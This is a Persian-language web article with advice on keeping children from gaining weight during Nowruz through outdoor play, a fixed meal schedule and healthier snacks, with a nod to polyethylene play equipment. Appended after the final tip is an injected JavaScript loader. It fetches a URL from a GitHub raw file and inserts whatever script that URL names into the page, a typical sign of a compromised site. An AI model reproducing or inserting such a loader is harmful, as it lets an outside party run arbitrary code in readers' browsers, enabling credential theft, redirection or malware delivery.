راهکارهایی برای جلو گیری از چاقی کودکان در نوروز

راهکارهایی برای جلو گیری از چاقی کودکان در نوروز :

در ایام نوروز دسترسی کودک به مواد خوراکی پر کالری بیشتر است و به راحتی میتواند در طول روز خوراکی های پر کالری ،شور و چرب بخورد .مخصوصا انکه بسته بندی های بسیار زیبایی دارد . زمانی که مصرف تنقلات در کودکان خارج از برنامه میشود و وعده های غذایی شان به هم میخورد ، دیگر اشتهایی برای خوردن وعده غذایی اصلی باقی نمی ماند و با این روند ما در پایان نوروز کودکی تپل تر از قبل خواهیم داشت .

برای این که این اتفاق نیفتد بهتر است والدین بچه ها را حداقل یک ساعت به محیط باز ببرند تا ورزش کنند .ِ بازی در فضای بازبا تاب و سرسره و مجوعه بازی پلی اتیلن  علاوه بر کمک به سلامت جسمی خود و کودکشان به سلامت روانی و هر چه بهتر شدن روابطشان کمک میکند .همچنین برای فعالیت وبازی کودکان بد نیست از وسایل بازی هایی که در منزل می توانند بازی کنند استفاده کنند تا تحرک وبازی را در مهمانی ها داشته باشند و این عامل مهمی است که کودکان کمتر شیرینی وشکلات وتنقلات بخورند .بازی وفعالیت مناسب باعث می شود تا به موقع غذا بخورند

برای کنترل مصرف تنقلات بهتر است برنامه غذایی کودک را به طور منظم نگه داریم :
ساعت هشت صبح :صبحانه
ساعت یازده صبح :میان وعده
ساعت یک بعد ظهر :ناهار
ساعت چهار عصر :میان وعده دوم
ساعت هشت شب :شام

مخصوصا وعده های صبحانه و ناهار حتما رعایت شود و از خوردن تنقلات جلوگیری شود .
برای خوردن تنقلات بهتر است از شکلات شیری به جای شکلات کاکائویی استفاده شود .
اگر اجیل شور نباشد دانه های مغذی مانند بادام ،پسته ،فندوق و …مشکلی ایجاد نمیکند .
برای خوردن میان وعده میوه میتواند بهترین انتخاب باشد . (var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)